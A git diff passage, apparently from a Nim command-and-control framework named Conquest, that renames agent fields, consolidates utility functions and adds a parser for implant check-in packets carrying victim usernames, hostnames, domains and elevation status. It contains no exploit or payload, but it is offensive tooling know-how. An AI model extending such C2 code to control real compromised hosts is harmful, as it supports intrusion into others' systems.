for row in conquestDb.iterate("SELECT name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin FROM agents;"):
- let (name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin) = row.unpack((string, string, int, float, string, int, string, string, string, string, string, bool, string, string))
+ let (agentId, listenerId, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin) = row.unpack((string, string, int, float, string, int, string, string, string, string, string, bool, string, string))
let a = Agent(
- name: name,
- listener: listener,
+ agentId: agentId,
+ listenerId: listenerId,
sleep: sleep,
pid: pid,
username: username,
@@ -66,11 +66,11 @@ proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] =
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
for row in conquestDb.iterate("SELECT name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin FROM agents WHERE listener = ?;", listenerName):
- let (name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin) = row.unpack((string, string, int, float, string, int, string, string, string, string, string, bool, string, string))
+ let (agentId, listenerId, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin) = row.unpack((string, string, int, float, string, int, string, string, string, string, string, bool, string, string))
let a = Agent(
- name: name,
- listener: listener,
+ agentId: agentId,
+ listenerId: listenerId,
sleep: sleep,
pid: pid,
username: username,
diff --git a/src/server/db/dbListener.nim b/src/server/db/dbListener.nim
index f942284..4978e53 100644
--- a/src/server/db/dbListener.nim
+++ b/src/server/db/dbListener.nim
@@ -1,7 +1,7 @@
import system, terminal, tiny_sqlite
import ../utils
-import ../../common/types
+import ../../common/[types, utils]
# Utility functions
proc stringToProtocol*(protocol: string): Protocol =
diff --git a/src/server/globals.nim b/src/server/globals.nim
index 274e63a..d1882f0 100644
--- a/src/server/globals.nim
+++ b/src/server/globals.nim
@@ -1,4 +1,4 @@
-import ../common/types
+import ../common/[types, utils]
# Global variable for handling listeners, agents and console output
var cq*: Conquest
\ No newline at end of file
diff --git a/src/server/task/dispatcher.nim b/src/server/task/dispatcher.nim
index c98d4b7..d8ada0f 100644
--- a/src/server/task/dispatcher.nim
+++ b/src/server/task/dispatcher.nim
@@ -1,7 +1,7 @@
import times, strformat, terminal, tables, json, sequtils, strutils
import ./[parser]
import ../utils
-import ../../common/types
+import ../../common/[types, utils]
proc initAgentCommands*(): Table[string, Command] =
var commands = initTable[string, Command]()
@@ -158,7 +158,7 @@ proc handleAgentCommand*(cq: Conquest, input: string) =
if input.replace(" ", "").len == 0: return
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
- cq.writeLine(fgBlue, styleBright, fmt"[{date}] ", fgYellow, fmt"[{cq.interactAgent.name}] ", resetStyle, styleBright, input)
+ cq.writeLine(fgBlue, styleBright, fmt"[{date}] ", fgYellow, fmt"[{cq.interactAgent.agentId}] ", resetStyle, styleBright, input)
# Convert user input into sequence of string arguments
let parsedArgs = parseInput(input)
diff --git a/src/server/task/packer.nim b/src/server/task/packer.nim
index df09183..f0233c5 100644
--- a/src/server/task/packer.nim
+++ b/src/server/task/packer.nim
@@ -1,7 +1,6 @@
-import strutils, strformat, streams
+import strutils, strformat, streams, times
import ../utils
-import ../../common/types
-import ../../common/serialize
+import ../../common/[types, utils, serialize]
proc serializeTask*(task: Task): seq[byte] =
@@ -98,4 +97,66 @@ proc deserializeTaskResult*(resultData: seq[byte]): TaskResult =
resultType: resultType,
length: length,
data: data
- )
\ No newline at end of file
+ )
+
+proc deserializeNewAgent*(data: seq[byte]): Agent =
+
+ var unpacker = initUnpacker(data.toString)
+
+ let
+ magic = unpacker.getUint32()
+ version = unpacker.getUint8()
+ packetType = unpacker.getUint8()
+ flags = unpacker.getUint16()
+ seqNr = unpacker.getUint32()
+ size = unpacker.getUint32()
+ hmacBytes = unpacker.getBytes(16)
+
+ # Explicit conversion from seq[byte] to array[16, byte]
+ var hmac: array[16, byte]
+ copyMem(hmac.addr, hmacBytes[0].unsafeAddr, 16)
+
+ # Packet Validation
+ if magic != MAGIC:
+ raise newException(CatchableError, "Invalid magic bytes.")
+
+ # TODO: Validate sequence number
+
+ # TODO: Validate HMAC
+
+ # TODO: Decrypt payload
+ # let payload = unpacker.getBytes(size)
+
+ let
+ agentId = unpacker.getUint32()
+ listenerId = unpacker.getUint32()
+ username = unpacker.getVarLengthMetadata()
+ hostname = unpacker.getVarLengthMetadata()
+ domain = unpacker.getVarLengthMetadata()
+ ip = unpacker.getVarLengthMetadata()
+ os = unpacker.getVarLengthMetadata()
+ process = unpacker.getVarLengthMetadata()
+ pid = unpacker.getUint32()
+ isElevated = unpacker.getUint8()
+ sleep = unpacker.getUint32()
+
+ return Agent(
+ agentId: uuidToString(agentId),
+ listenerId: uuidToString(listenerId),
+ username: username,
+ hostname: hostname,
+ domain: domain,
+ ip: ip,
+ os: os,
+ process: process,
+ pid: int(pid),
+ elevated: isElevated != 0,
+ sleep: int(sleep),
+ jitter: 0.0, # TODO: Remove jitter
+ tasks: @[],
+ firstCheckin: now(),
+ latestCheckin: now()
+ )
+
+
+
diff --git a/src/server/task/parser.nim b/src/server/task/parser.nim
index 86558cb..818dd8c 100644
--- a/src/server/task/parser.nim
+++ b/src/server/task/parser.nim
@@ -1,6 +1,6 @@
import strutils, strformat, times
import ../utils
-import ../../common/types
+import ../../common/[types, utils]
proc parseInput*(input: string): seq[string] =
var i = 0
@@ -77,8 +77,8 @@ proc parseTask*(cq: Conquest, command: Command, arguments: seq[string]): Task =
# Construct the task payload prefix
var task: Task
task.taskId = uuidToUint32(generateUUID())
- task.agentId = uuidToUint32(cq.interactAgent.name)
- task.listenerId = uuidToUint32(cq.interactAgent.listener)
+ task.agentId = uuidToUint32(cq.interactAgent.agentId)
+ task.listenerId = uuidToUint32(cq.interactAgent.listenerId)
task.timestamp = uint32(now().toTime().toUnix())
task.command = cast[uint16](command.commandType)
task.argCount = uint8(arguments.len)
diff --git a/src/server/utils.nim b/src/server/utils.nim
index 12bd1df..278ceea 100644
--- a/src/server/utils.nim
+++ b/src/server/utils.nim
@@ -1,7 +1,7 @@
import strutils, terminal, tables, sequtils, times, strformat, random, prompt
import std/wordwrap
-import ../common/types
+import ../common/[types, utils]
# Utility functions
proc parseOctets*(ip: string): tuple[first, second, third, fourth: int] =
@@ -16,49 +16,6 @@ proc validatePort*(portStr: string): bool =
except ValueError:
return false
-proc generateUUID*(): string =
- # Create a 4-byte HEX UUID string (8 characters)
- (0..<4).mapIt(rand(255)).mapIt(fmt"{it:02X}").join()
-
-proc uuidToUint32*(uuid: string): uint32 =
- return fromHex[uint32](uuid)
-
-proc uuidToString*(uuid: uint32): string =
- return uuid.toHex(8)
-
-proc toString*(data: seq[byte]): string =
- result = newString(data.len)
- for i, b in data:
- result[i] = char(b)
-
-proc toBytes*(data: string): seq[byte] =
- result = newSeq[byte](data.len)
- for i, c in data:
- result[i] = byte(c.ord)
-
-proc toHexDump*(data: seq[byte]): string =
- for i, b in data:
- result.add(b.toHex(2))
- if i < data.len - 1:
- if (i + 1) mod 4 == 0:
- result.add(" | ") # Add | every 4 bytes
- else:
- result.add(" ") # Regular space
-
-proc toBytes*(value: uint16): seq[byte] =
- return @[
- byte(value and 0xFF),
- byte((value shr 8) and 0xFF)
- ]
-
-proc toBytes*(value: uint32): seq[byte] =
- return @[
- byte(value and 0xFF),
- byte((value shr 8) and 0xFF),
- byte((value shr 16) and 0xFF),
- byte((value shr 24) and 0xFF)
- ]
-
# Function templates and overwrites
template writeLine*(cq: Conquest, args: varargs[untyped]) =
cq.prompt.writeLine(args)
@@ -153,7 +110,7 @@ proc drawTable*(cq: Conquest, listeners: seq[Listener]) =
for l in listeners:
# Get number of agents connected to the listener
- let connectedAgents = cq.agents.values.countIt(it.listener == l.name)
+ let connectedAgents = cq.agents.values.countIt(it.listenerId == l.name)
let rowCells = @[
Cell(text: l.name, fg: fgGreen),
@@ -217,14 +174,14 @@ proc drawTable*(cq: Conquest, agents: seq[Agent]) =
for a in agents:
var cells = @[
- Cell(text: a.name, fg: fgYellow, style: styleBright),
+ Cell(text: a.agentId, fg: fgYellow, style: styleBright),
Cell(text: a.ip),
Cell(text: a.username),
Cell(text: a.hostname),
Cell(text: a.os),
Cell(text: a.process, fg: if a.elevated: fgRed else: fgWhite),
Cell(text: $a.pid, fg: if a.elevated: fgRed else: fgWhite),
- a.timeSince(cq.agents[a.name].latestCheckin)
+ a.timeSince(cq.agents[a.agentId].latestCheckin)
]
# Highlight agents running within elevated processes